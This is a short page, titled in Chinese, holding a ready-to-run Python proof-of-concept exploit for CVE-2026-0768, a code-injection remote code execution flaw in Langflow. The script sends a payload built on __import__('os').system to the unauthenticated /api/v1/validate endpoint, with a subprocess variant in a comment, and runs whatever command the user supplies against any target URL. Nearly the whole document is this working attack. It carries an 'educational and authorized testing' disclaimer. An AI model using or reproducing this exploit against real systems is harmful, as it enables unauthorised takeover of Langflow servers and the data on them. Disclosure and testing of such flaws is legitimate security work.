CVE-2026-0768 Langflow代码注入远程代码执行漏洞

#!/usr/bin/env python3 # CVE-2026-0768 PoC - Langflow Code Injection RCE # Note: This PoC is for educational and authorized testing purposes only import requests import json import sys def exploit(target_url, command): """ Exploit CVE-2026-0768: Langflow Code Injection Remote Code Execution Args: target_url: Base URL of the vulnerable Langflow instance command: Command to execute on the target system """ # Construct the validate endpoint URL endpoint = f"{target_url.rstrip('/')}/api/v1/validate" # Construct malicious payload - inject Python code via code parameter # Using __import__ to dynamically import os module and execute command payload = f"__import__('os').system('{command}')" # Alternative payload using subprocess # payload = f"__import__('subprocess').check_output('{command}', shell=True)" # Prepare the request data data = { "code": payload } try: # Send the malicious request (no authentication required) response = requests.post(endpoint, json=data, timeout=10) print(f"[*] Request sent to: {endpoint}") print(f"[*] Payload: {payload}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <target_url> <command>") print(f"Example: {sys.argv[0]} http://localhost:7860 'whoami'") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] exploit(target, cmd)